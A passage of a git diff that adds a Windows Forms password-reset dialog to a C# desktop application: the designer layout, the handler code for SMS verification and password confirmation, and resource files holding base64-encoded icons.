k/5xfpD+fo2s/mRwoP5td7v+fouy/rPK4P/G3vT/xd70/8Td9P/B2/L/aJKa/iuKkv4xQzf+Skg3/pWT + if7l5OH9pqig0I2Ng2dMTEwKKtTqDCm1yptah4X+7e7q/vDy7/5pj4/+aomK/tfi6/7g7Pj/3+z4/93r + +P/c6vf/vs3c/sva5/7J2ej+x9fm/s3c6f7H1eT+y9zs/9Pl9v/R5fb/0eX2/9Hl9v+fsLj+KsHW/iyK + kf6HioD+0M/J/uXo5flfc2+MAAAABAAAAAAzzP8FKdDqfC2Hjv5ITED+QmJc/i+90/48c3P+2N3g/uvz + +f/q8/n/6vL5/+jw+P/n8Pj/5vD4/+bv+P/l7/j/4+74/+Lt+P/h7fj/4Oz3/9/s9//e6/f/3ev3/7jF + zf4puc7+J7nO/lV3c/7s7On+6ezo801iYGoAAAAAAAAAAAAAAAAn1fBWJtPv9SbP6v4l1O/+JdTw/yu1 + yf48VEv+ycrG/vDx8v7x9Pb+lpmU/lFQSP6mqaf/8fb6/9PZ2/5OT0r+e356/uDn6v7u9Pr/7PP5/+vy + +f/n7/b+mamr/ivN5f8k1fH+KbvR/i1gXv41h4/oMcngOQAAAAAAAAAAAAAAACfT8DQn1PHTJtTx/yXV + 8f8l1fD/JtXw/iucqf6JiHz+zs3J/tbX0v7MzMf+r6+r/s3Nyv/6+/n/7u/t/q+vrP7FxcP+ysvI/tXV + 0/7Bw8D+v8G+/qzBwP4+n6v+JdTw/yXV8f8m1PH/JtXx/ifV78gq1P8GAAAAAAAAAAAAAAAAM8zuDynU + 76Ml1fH8J9Xx/yfV8f8n1fH/Kq2+/omHe/79/fv/6urn/r28tf7i4d7+v7+6/qimn/6ko5v+wsG7/s/O + yv6trab+wsG7/qSjm/6Sk4j+TJme/ibO6f4k1PD/J9Xx/yfV8f8m1fH/KtPvbgAAAAAAAAAAAAAAAAAA + AAAAAAAAKdbuSyTV8O4l1fD/KM7n/iqRmv4+cW/+dnVr/vr6+P///vz/4+Le/m9tZv6dnZf+xsa//sXE + vf7W1tL+tLOt/oaFfv7x8e3+/v77/tbW0f5niIX+L5ah/yfU8P8n1fH/J9Pw/yfT794k2/MVAAAAAAAA + AAAAAAAAAAAAAAAAAAAA1NQGKNTvsiXP6f83jpX+nqei/tPU0P5kYlf+zMzH/v/+/P/l5OH+YF9Y/s7O + zP7///3+///9/v7+/P61tbD+h4eA/vX08v78/Pr/uriy/quqo/7N19T+OZGa/ybV8f8n1PD/LNLuXAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUxOsNLL/T53R/eP7v7uv+pKOd/tPU0f5YXFL+WVdJ/nd2 + a/7r6uf++/v5/vn59v/39vT+//79/vv5+f729vT+/v78/+Xm4v6SlIv+nJyT/sPCvv6wwb/+Kb7U/CjV + 77Ewz+8QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIYFxAoqCY/vH08v7V6Oz+XJSd/j17 + h/5ZWlH+SUY2/ldURv7HxcD+iIZ7/1xbTf719PL+/v38//39+/7e3tr+bHt3/lSFif2uys39193c/uXu + 7vw7n6rQLdLtOQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAElJPSp9fnTvj5yZ/kuR + nv4xgI3+J2Bu/jdxfP9eZ17+R0U2/ldVRv5EQjH+TUs8//Lx7v7i4t7+sr69/liNlv4jbYf+NGps/UaK + kv11i4n9oaij6Vd+flsAf38CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGRkZCi40 + KFMvT0htLKKz1it/jP4gmcf/L5av/zNbWP5Ckpn+UHZz/kZSSP5SXlT+ha2w/mawt/48aWn+MqC8/h6g + 0P4oiZ7+KqW1/DF+g6cvOzJSFxcXCwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAD//wMl0+wpJWh4ziSfyv8weIH/KbHC/ibO6P4owtn+K7rP/iu6z/4ow9v+J8vk/iuy + xf4tXl/+K7Pd/yOOr+ksvdF1KtTqGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoXGKeJo+v/zOSnPwmz+n+JdXw/yTU8P8k1PD/JdTw/yTU + 8P8k1PD/JNXw/i5rav4un739H3qenAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACpHSlYra3v3ME9MZBzU4xIs0+06L9PtgSzV + 8J4o1PGgKtPujDDU7msx0+s0MT4xeC+AlOslXWxaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIDAgEC40J4kwNCM7AAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApKRkfMD0yehwcHAkAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA/8AH//8AAf/+AAD/+AAAP/AAAB/wAAAP4AAAD8AAAA/AAAAHgAAAB4AA + AAMAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAA4AAAAOAAAADgAAAB8AAAAfAAAAP4AAAD/AA + AB/wAAAf8AAAP/wAAP//AAH//wAD//8f4/8= + + + \ No newline at end of file diff --git a/TEMUKJD/UserForm/ResetPasswordForm.Designer.cs b/TEMUKJD/UserForm/ResetPasswordForm.Designer.cs new file mode 100644 index 0000000..d0beca4 --- /dev/null +++ b/TEMUKJD/UserForm/ResetPasswordForm.Designer.cs @@ -0,0 +1,360 @@ +namespace LittleRabbit.UserForm +{ + partial class ResetPasswordForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ResetPasswordForm)); + this.panelEx2 = new DevComponents.DotNetBar.PanelEx(); + this.closePanel = new DevComponents.DotNetBar.PanelEx(); + this.sendCodePanel = new DevComponents.DotNetBar.PanelEx(); + this.label6 = new System.Windows.Forms.Label(); + this.code = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.labelX12 = new DevComponents.DotNetBar.LabelX(); + this.label3 = new System.Windows.Forms.Label(); + this.password2 = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.labelX6 = new DevComponents.DotNetBar.LabelX(); + this.label2 = new System.Windows.Forms.Label(); + this.password1 = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.labelX4 = new DevComponents.DotNetBar.LabelX(); + this.label1 = new System.Windows.Forms.Label(); + this.mobile = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.labelX1 = new DevComponents.DotNetBar.LabelX(); + this.regeditPanel = new DevComponents.DotNetBar.PanelEx(); + this.panelEx2.SuspendLayout(); + this.SuspendLayout(); + // + // panelEx2 + // + this.panelEx2.CanvasColor = System.Drawing.SystemColors.Control; + this.panelEx2.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx2.Controls.Add(this.closePanel); + this.panelEx2.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx2.Location = new System.Drawing.Point(0, 0); + this.panelEx2.Margin = new System.Windows.Forms.Padding(0); + this.panelEx2.Name = "panelEx2"; + this.panelEx2.Size = new System.Drawing.Size(430, 130); + this.panelEx2.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx2.Style.BackColor1.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground; + this.panelEx2.Style.BackColor2.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground2; + this.panelEx2.Style.BackgroundImage = global::LittleRabbit.Properties.Resources.login_bg; + this.panelEx2.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelEx2.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.panelEx2.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.panelEx2.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.panelEx2.Style.GradientAngle = 90; + this.panelEx2.TabIndex = 51; + this.panelEx2.MouseDown += new System.Windows.Forms.MouseEventHandler(this.panelEx2_MouseDown); + this.panelEx2.MouseMove += new System.Windows.Forms.MouseEventHandler(this.panelEx2_MouseMove); + this.panelEx2.MouseUp += new System.Windows.Forms.MouseEventHandler(this.panelEx2_MouseUp); + // + // closePanel + // + this.closePanel.CanvasColor = System.Drawing.SystemColors.Control; + this.closePanel.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.closePanel.Cursor = System.Windows.Forms.Cursors.Hand; + this.closePanel.DisabledBackColor = System.Drawing.Color.Empty; + this.closePanel.Location = new System.Drawing.Point(410, 6); + this.closePanel.Name = "closePanel"; + this.closePanel.Size = new System.Drawing.Size(14, 15); + this.closePanel.Style.Alignment = System.Drawing.StringAlignment.Center; + this.closePanel.Style.BackColor1.Alpha = ((byte)(0)); + this.closePanel.Style.BackColor1.Color = System.Drawing.Color.Transparent; + this.closePanel.Style.BackColor2.Alpha = ((byte)(0)); + this.closePanel.Style.BackColor2.Color = System.Drawing.Color.Transparent; + this.closePanel.Style.BackgroundImage = global::LittleRabbit.Properties.Resources.close; + this.closePanel.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.closePanel.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.closePanel.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.closePanel.Style.GradientAngle = 90; + this.closePanel.StyleMouseOver.BackgroundImage = global::LittleRabbit.Properties.Resources.close_hover; + this.closePanel.TabIndex = 0; + this.closePanel.Click += new System.EventHandler(this.closePanel_Click); + // + // sendCodePanel + // + this.sendCodePanel.CanvasColor = System.Drawing.SystemColors.Control; + this.sendCodePanel.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.sendCodePanel.DisabledBackColor = System.Drawing.Color.Empty; + this.sendCodePanel.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.sendCodePanel.Location = new System.Drawing.Point(217, 197); + this.sendCodePanel.Name = "sendCodePanel"; + this.sendCodePanel.Size = new System.Drawing.Size(117, 27); + this.sendCodePanel.Style.Alignment = System.Drawing.StringAlignment.Center; + this.sendCodePanel.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.sendCodePanel.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.sendCodePanel.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.sendCodePanel.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.sendCodePanel.Style.ForeColor.Color = System.Drawing.Color.White; + this.sendCodePanel.Style.GradientAngle = 90; + this.sendCodePanel.TabIndex = 70; + this.sendCodePanel.Text = "获取短信验证码"; + this.sendCodePanel.Click += new System.EventHandler(this.sendCodePanel_Click); + // + // label6 + // + this.label6.AutoSize = true; + this.label6.ForeColor = System.Drawing.Color.Red; + this.label6.Location = new System.Drawing.Point(349, 245); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(11, 12); + this.label6.TabIndex = 69; + this.label6.Text = "*"; + // + // code + // + // + // + // + this.code.Border.Class = "TextBoxBorder"; + this.code.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.code.Font = new System.Drawing.Font("微软雅黑", 11F); + this.code.Location = new System.Drawing.Point(114, 197); + this.code.MaxLength = 5; + this.code.Name = "code"; + this.code.Size = new System.Drawing.Size(97, 27); + this.code.TabIndex = 68; + this.code.WatermarkColor = System.Drawing.Color.FromArgb(((int)(((byte)(181)))), ((int)(((byte)(181)))), ((int)(((byte)(181))))); + this.code.WatermarkFont = new System.Drawing.Font("微软雅黑", 11F); + this.code.WatermarkText = "请先获取"; + this.code.TextChanged += new System.EventHandler(this.code_TextChanged); + // + // labelX12 + // + // + // + // + this.labelX12.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX12.Font = new System.Drawing.Font("微软雅黑", 10F); + this.labelX12.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51))))); + this.labelX12.Location = new System.Drawing.Point(48, 199); + this.labelX12.Name = "labelX12"; + this.labelX12.Size = new System.Drawing.Size(61, 23); + this.labelX12.TabIndex = 67; + this.labelX12.Text = "验证码:"; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.ForeColor = System.Drawing.Color.Red; + this.label3.Location = new System.Drawing.Point(349, 285); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(11, 12); + this.label3.TabIndex = 60; + this.label3.Text = "*"; + // + // password2 + // + // + // + // + this.password2.Border.Class = "TextBoxBorder"; + this.password2.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.password2.Font = new System.Drawing.Font("微软雅黑", 11F); + this.password2.Location = new System.Drawing.Point(114, 277); + this.password2.MaxLength = 30; + this.password2.Name = "password2"; + this.password2.PasswordChar = '*'; + this.password2.Size = new System.Drawing.Size(220, 27); + this.password2.TabIndex = 59; + this.password2.WatermarkColor = System.Drawing.Color.FromArgb(((int)(((byte)(181)))), ((int)(((byte)(181)))), ((int)(((byte)(181))))); + this.password2.WatermarkFont = new System.Drawing.Font("微软雅黑", 11F); + this.password2.WatermarkText = "请重复密码"; + // + // labelX6 + // + // + // + // + this.labelX6.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX6.Font = new System.Drawing.Font("微软雅黑", 10F); + this.labelX6.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51))))); + this.labelX6.Location = new System.Drawing.Point(59, 279); + this.labelX6.Name = "labelX6"; + this.labelX6.Size = new System.Drawing.Size(50, 23); + this.labelX6.TabIndex = 58; + this.labelX6.Text = "重复:"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.ForeColor = System.Drawing.Color.Red; + this.label2.Location = new System.Drawing.Point(349, 205); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(11, 12); + this.label2.TabIndex = 57; + this.label2.Text = "*"; + // + // password1 + // + // + // + // + this.password1.Border.Class = "TextBoxBorder"; + this.password1.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.password1.Font = new System.Drawing.Font("微软雅黑", 11F); + this.password1.Location = new System.Drawing.Point(114, 237); + this.password1.MaxLength = 30; + this.password1.Name = "password1"; + this.password1.PasswordChar = '*'; + this.password1.Size = new System.Drawing.Size(220, 27); + this.password1.TabIndex = 56; + this.password1.WatermarkColor = System.Drawing.Color.FromArgb(((int)(((byte)(181)))), ((int)(((byte)(181)))), ((int)(((byte)(181))))); + this.password1.WatermarkFont = new System.Drawing.Font("微软雅黑", 11F); + this.password1.WatermarkText = "最少6个字母"; + // + // labelX4 + // + // + // + // + this.labelX4.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX4.Font = new System.Drawing.Font("微软雅黑", 10F); + this.labelX4.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51))))); + this.labelX4.Location = new System.Drawing.Point(59, 239); + this.labelX4.Name = "labelX4"; + this.labelX4.Size = new System.Drawing.Size(50, 23); + this.labelX4.TabIndex = 55; + this.labelX4.Text = "密码:"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.ForeColor = System.Drawing.Color.Red; + this.label1.Location = new System.Drawing.Point(349, 165); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(11, 12); + this.label1.TabIndex = 54; + this.label1.Text = "*"; + // + // mobile + // + // + // + // + this.mobile.Border.Class = "TextBoxBorder"; + this.mobile.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.mobile.Font = new System.Drawing.Font("微软雅黑", 11F); + this.mobile.Location = new System.Drawing.Point(114, 157); + this.mobile.MaxLength = 11; + this.mobile.Name = "mobile"; + this.mobile.Size = new System.Drawing.Size(220, 27); + this.mobile.TabIndex = 53; + this.mobile.WatermarkColor = System.Drawing.Color.FromArgb(((int)(((byte)(181)))), ((int)(((byte)(181)))), ((int)(((byte)(181))))); + this.mobile.WatermarkFont = new System.Drawing.Font("微软雅黑", 11F); + this.mobile.WatermarkText = "请输入手机号"; + this.mobile.TextChanged += new System.EventHandler(this.mobile_TextChanged); + // + // labelX1 + // + // + // + // + this.labelX1.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX1.Font = new System.Drawing.Font("微软雅黑", 10F); + this.labelX1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51))))); + this.labelX1.Location = new System.Drawing.Point(59, 159); + this.labelX1.Name = "labelX1"; + this.labelX1.Size = new System.Drawing.Size(50, 23); + this.labelX1.TabIndex = 52; + this.labelX1.Text = "手机:"; + // + // regeditPanel + // + this.regeditPanel.CanvasColor = System.Drawing.SystemColors.Control; + this.regeditPanel.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.regeditPanel.DisabledBackColor = System.Drawing.Color.Empty; + this.regeditPanel.Font = new System.Drawing.Font("微软雅黑", 11F); + this.regeditPanel.Location = new System.Drawing.Point(114, 320); + this.regeditPanel.Name = "regeditPanel"; + this.regeditPanel.Size = new System.Drawing.Size(220, 35); + this.regeditPanel.Style.Alignment = System.Drawing.StringAlignment.Center; + this.regeditPanel.Style.BackColor1.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground; + this.regeditPanel.Style.BackColor2.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground2; + this.regeditPanel.Style.BackgroundImage = global::LittleRabbit.Properties.Resources.regedit_bg; + this.regeditPanel.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.regeditPanel.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.regeditPanel.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.regeditPanel.Style.ForeColor.Color = System.Drawing.Color.White; + this.regeditPanel.Style.GradientAngle = 90; + this.regeditPanel.TabIndex = 71; + this.regeditPanel.Text = "重 设 密 码"; + this.regeditPanel.Click += new System.EventHandler(this.regeditPanel_Click); + // + // ResetPasswordForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(247)))), ((int)(((byte)(254))))); + this.ClientSize = new System.Drawing.Size(430, 392); + this.Controls.Add(this.regeditPanel); + this.Controls.Add(this.sendCodePanel); + this.Controls.Add(this.label6); + this.Controls.Add(this.code); + this.Controls.Add(this.labelX12); + this.Controls.Add(this.label3); + this.Controls.Add(this.password2); + this.Controls.Add(this.labelX6); + this.Controls.Add(this.label2); + this.Controls.Add(this.password1); + this.Controls.Add(this.labelX4); + this.Controls.Add(this.label1); + this.Controls.Add(this.mobile); + this.Controls.Add(this.labelX1); + this.Controls.Add(this.panelEx2); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "ResetPasswordForm"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "修改密码 - 小奶牛"; + this.Load += new System.EventHandler(this.ResetPasswordForm_Load); + this.panelEx2.ResumeLayout(false); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private DevComponents.DotNetBar.PanelEx panelEx2; + private DevComponents.DotNetBar.PanelEx closePanel; + private DevComponents.DotNetBar.PanelEx sendCodePanel; + private System.Windows.Forms.Label label6; + private DevComponents.DotNetBar.Controls.TextBoxX code; + private DevComponents.DotNetBar.LabelX labelX12; + private System.Windows.Forms.Label label3; + private DevComponents.DotNetBar.Controls.TextBoxX password2; + private DevComponents.DotNetBar.LabelX labelX6; + private System.Windows.Forms.Label label2; + private DevComponents.DotNetBar.Controls.TextBoxX password1; + private DevComponents.DotNetBar.LabelX labelX4; + private System.Windows.Forms.Label label1; + private DevComponents.DotNetBar.Controls.TextBoxX mobile; + private DevComponents.DotNetBar.LabelX labelX1; + private DevComponents.DotNetBar.PanelEx regeditPanel; + } +} \ No newline at end of file diff --git a/TEMUKJD/UserForm/ResetPasswordForm.cs b/TEMUKJD/UserForm/ResetPasswordForm.cs new file mode 100644 index 0000000..7627dcf --- /dev/null +++ b/TEMUKJD/UserForm/ResetPasswordForm.cs @@ -0,0 +1,140 @@ +using System; +using System.Drawing; +using System.Threading; +using System.Windows.Forms; +using AllBase; +using LittleRabbit.LittleRabbitForms.BaseForms; +using Work; + +namespace LittleRabbit.UserForm +{ + public partial class ResetPasswordForm : Form + { + private Point mouseOffset;//记录鼠标指针的坐标 + private bool isMouseDown;//记录鼠标左键是否按下 + public delegate void delegateView(); + public ResetPasswordForm() + { + InitializeComponent(); + } + + private void closePanel_Click(object sender, EventArgs e) + { + Close(); + } + + private void panelEx2_MouseMove(object sender, MouseEventArgs e) + { + if (isMouseDown) + {//获取鼠标的位置 + Point mousePos = MousePosition; + mousePos.Offset(mouseOffset.X, mouseOffset.Y); + Location = mousePos; + } + } + + private void panelEx2_MouseDown(object sender, MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + mouseOffset = new Point(-e.X, -e.Y); + isMouseDown = true; + } + } + + private void panelEx2_MouseUp(object sender, MouseEventArgs e) + { + isMouseDown = false; + } + + private void sendCodePanel_Click(object sender, EventArgs e) + { + string m = mobile.Text; + if (m.Length != 11) + { + BaseMsgForm.ShowInfo("请先输入正确的手机号码\r\n仅支持中国大陆手机号码\r\n请不要加0086", "提示"); + return; + } + bool success; + string message = UserLogin.SendCode(m, out success); + if (!success) + { + BaseMsgForm.ShowError(message, "发送短信错误"); + return; + } + BaseMsgForm.ShowInfo("短信发送成功,请不要重复点击", "提示"); + sendCodePanel.Enabled = false; + new Thread(SetCodeEnable).Start(); + } + + public void SetCodeEnable() + { + Thread.Sleep(10 * 1000); + Invoke(new delegateView(SetCodeEnableGet)); + } + public void SetCodeEnableGet() + { + sendCodePanel.Enabled = true; + + } + + private void mobile_TextChanged(object sender, EventArgs e) + { + mobile.Text = BaseRegex.GetMatchRegexString(mobile.Text, @"([\d]+)"); + } + + private void code_TextChanged(object sender, EventArgs e) + { + code.Text = BaseRegex.GetMatchRegexString(code.Text, @"([\d]+)"); + } + + private void regeditPanel_Click(object sender, EventArgs e) + { + if (mobile.Text.Length != 11) + { + BaseMsgForm.ShowInfo("请输入正确的手机号码", "提示"); + mobile.Focus(); + return; + } + if (code.Text.Length != 5) + { + BaseMsgForm.ShowInfo("请输入正确的验证码", "提示"); + code.Focus(); + return; + } + if (password1.Text.Length < 6) + { + BaseMsgForm.ShowInfo("请输入长度不小于6位的密码", "提示"); + password1.Focus(); + return; + } + if (password1.Text != password2.Text) + { + BaseMsgForm.ShowInfo("两次输入的密码不一致", "提示"); + password1.Text = ""; + password2.Text = ""; + password1.Focus(); + return; + } + UserLogin ul = new UserLogin(); + string message; + bool ok = ul.ResetPassword(mobile.Text, code.Text, password1.Text, out message); + if (!ok) + { + BaseMsgForm.ShowError(message, "提交错误"); + return; + } + BaseMsgForm.ShowInfo("恭喜你重置密码成功\r\n请牢记新密码", "重置成功"); + Close(); + } + + private void ResetPasswordForm_Load(object sender, EventArgs e) + { + if (BaseClass.Ico != null) + Icon = BaseClass.Ico; + Text = "找回密码 " + BaseClass.ToolName; + if (BaseClass.LoginImage != null) + panelEx2.Style.BackgroundImage = BaseClass.LoginImage; + } + } +} diff --git a/TEMUKJD/UserForm/ResetPasswordForm.resx b/TEMUKJD/UserForm/ResetPasswordForm.resx new file mode 100644 index 0000000..2e1c1fc --- /dev/null +++ b/TEMUKJD/UserForm/ResetPasswordForm.resx @@ -0,0 +1,197 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAAABAAABILAAASCwAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABi0lFiIvLRlmXFpOkNzb + 15P9/fuT///9jvz//G38/PlYycnFOZKSkg4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABi0tGk8wLxy0Mi4b0DMu + HexUUkL909LN/v7+/P////38/v797/79/ObU1dHZTUs+xpORiong6+AZAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB8fChkxMBrKMy4b9zMv + HP0zMB3/My8c/1pXSP7a2dX+/v78/////f////3///79//z7+f/n5uP9uLix+vf39evt8O1WAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADOZsgouOSteMi8b8DQx + Hv42MyD+NTIg/jQwHv41MR//hoV6//79+////vz////9/////f////3////9///++////vv///79/5Sl + pP6T5vdmM8z/BQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA54/8JNrzNejRZ + Ue06NyT/dnVp/oaEeP6AfnL+dnRn/l1aTP+dm5P///79/////f////3////9//7+/P/+/vz///78///+ + /P////3/pLCt/i/V7u1D1/BUSdvbBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDR + 72Qsx+DuL2Fc/nFvZP/s7On+/v78//7+/P/+/vz+2tnV/+np5v////3////9/////f////3/+fn3/ujn + 5P78/Pr//v78/////f+qrqr+KNXw/izW79g61u4+AAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAv1e8xJtTv5CfQ6/4taWj+rKum/uno5f7///3////9/////f////3////9/////f////3////9//// + /f/d3dn+bmxf/rW0r/7+/fz+/v78/6Syr/4m1O//JdXx/SfT8KoizO4PAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAL//BCjU8MAm1PD/JtTw/yuCiP6anpj+4d7d/v79+/////3////9/////f////3////9//// + /f////3//v78/93d2v5FQzL+TUw8/uLh3v78/Pv+h6ur/ibU8P8m1PH/JNXw+CXU8VoAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAr1O5ZJdPu8SXU8f8l0+//KqKw/mZuZf7U0s/+/Pv5/v///f////3////9//// + /f////3////9//7+/P/08/H+oaCZ/js5J/41MiD/RkQ0/oqKfv5RmJ3+JtTw/iXV8P8l1PD/KdLv5wDf + 3wgAAAAAAAAAAAAAAAAAAAAAKtT/DCnV7qkl1PD+JNTx/inB1/5EeHj+VFNG/rq5tv7u7Ov+///9/v/+ + /P///vz///79/////f////3//v77/9PSzf5TUUH+MzAd/zQwHv80MB3/NzQj/0B+gP4stcj+JtLs/iXU + 8P8l1PD/K9PsewAAAAAAAAAAAAAAAAAAAAAwyuI1LdDq0yXT7v4ny+T+QYCE/qmqpP7LysX+dHJn/tjW + 1P76+ff+//78/v79/P7+/fz+/fz6//38+v/+/vz+5+fk/mhmV/4zMB3+NDAe/zQwHf80MB3/cnBl/3iK + h/48r7/+JtHs/iTU8P8q1O/UOdTjEgAAAAAAAAAAMzcsRldpYrpuoaX0T4yP/jJsbP6Nk4z+nZuT/s/P + yv6hoJf+mJeQ/uDf3f66ubP+fXxy/nx7cP59fHL/fHxz/4CCd/6xsav+hYN3/jc0Iv4zMB3/MzAd/zMv + Hf+zsar+0tDO/oifn/44t8f+K8HX/i6Ij/IqRTxzMzMRDwAAAABfXlLj1tXR/uno5f7h4t7+0tLN/tXU + 0P5qZ1r+U1FC/k5MPv4/PSz+Zm1r/pizyP6Mrcf/i63H/4msyf+JrMf/h6vJ/5m72f6Np73+Q0c+/jIw + HP8zMBz/QD0s/+Lg3f739/X+4eHf/nKFgP5yiof+t768/cLDwOyIiH+vVVVHEnt5b/5IRjf+rKuk/vz7 + 